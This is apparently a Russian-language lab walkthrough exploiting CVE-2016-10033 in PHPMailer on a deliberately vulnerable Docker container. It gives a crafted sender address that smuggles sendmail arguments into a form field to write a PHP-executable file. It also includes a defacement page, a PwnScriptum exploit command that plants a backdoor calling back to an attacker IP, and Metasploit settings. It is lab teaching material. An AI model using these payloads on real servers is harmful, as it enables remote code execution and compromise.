
Доказательство концепции для CVE-2016-10033 (PHPMailer)
Сначала давайте запустим уязвимое приложение
Команда: docker pull vulnerables/cve-2016-10033


Теперь вы можете получить доступ к уязвимому сайту по адресу localhost:8080 в веб-браузере.

Поле имени: OSEC (может быть любой строкой, это не влияет на эксплуатацию)
Сконструированный email отправителя: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
То, как работает этот сконструированный email отправителя, подробно объясняется в разделе описания вектора атаки. Что касается конкретных параметров, второй параметр -oQ/tmp указывает каталог очереди, а третий параметр -X/www/pwn.html указывает местоположение файла журнала для записи.
Если каталог очереди не указан, процесс sendmail попытается получить доступ к каталогу очереди по умолчанию (/var/spool/mqueue-client/), который будет защищен для предотвращения несанкционированного доступа и вмешательства, что является обычной мерой безопасности. Чтобы избежать этой проблемы с разрешениями, следует указать каталог очереди, в котором пользователь, запускающий PHP-скрипт, имеет права на запись. Обычно используется каталог, например /tmp, поскольку он обычно доступен для записи всем пользователям.
Если тело email содержит PHP-код и если указанный файл журнала помещен в веб-доступный каталог, злоумышленник может выполнить PHP-код, обратившись к файлу журнала через веб-браузер, что приведет к удаленному выполнению кода.
Поле сообщения: Это просто пример HTML-файла, который злоумышленник может загрузить. Конечно, злоумышленник может загрузить что-то гораздо более опасное, например, бэкдор, что мы и сделаем в следующем методе эксплуатации
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>

Команда: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> указывает целевой URL
-cf -> указывает расположение контактной формы в URL, указанном в -url. (В нашем случае он совпадает с -url, поэтому мы просто включили слеш)
-ip -> указывает IP-адрес злоумышленника для обратного подключения бэкдора
-d -> указывает относительный каталог для загрузки PHP-файла бэкдора
--post-action -> Атрибут name скрытого поля
--post-msg -> Атрибут name поля ввода сообщения
Примечание: Причина, по которой мы должны указать --post-action как “submit” и --post-msg как “message”, заключается в том, что в используемом нами уязвимом приложении атрибут name отличается от значений по умолчанию, используемых в скрипте эксплойта на Python.
Атрибуты name в уязвимом приложении:

Атрибуты name по умолчанию, указанные в скрипте:


На изображении выше видно, что программа пытается получить доступ к http://127.0.0.1:8080//www/phpbackdoor9284.php, что, очевидно, неверно из-за //www. Это не сработает, потому что в этом уязвимом сайте /www является корнем веб-сайта, поэтому вы не можете перейти к http://127.0.0.1:8080/www, поскольку http://127.0.0.1:8080 уже находится в /www.
Также на изображении ниже мы видим, что эксплойт на самом деле сработал, потому что phpbackdoor9284.php был успешно создан в каталоге. Таким образом, единственной проблемой было то, как убрать //www из URL.

При дальнейшем изучении скрипта Python нам удалось найти переменную BACKDOOR_URL, которая указывает URL-адрес PHP-файла бэкдора.
В переменной мы видим, что целевой каталог, который мы указали (args.TARGET_UP_DIR), объединяется с переменной BACKDOOR_FILE.
Чтобы решить проблему, нам нужно удалить это и дополнительный слеш.
Before:

After:


Команды:
msfconsole
search CVE-2016-10033
use 1

Команды:
set RHOSTS 192.168.79.1 (указывает IP-адрес цели)
set RPORT 8080 (указывает порт цели)
set TARGETURI /(указывает URL веб-формы)
set WEB_ROOT /www (указывает, где находится корень веб-сайта)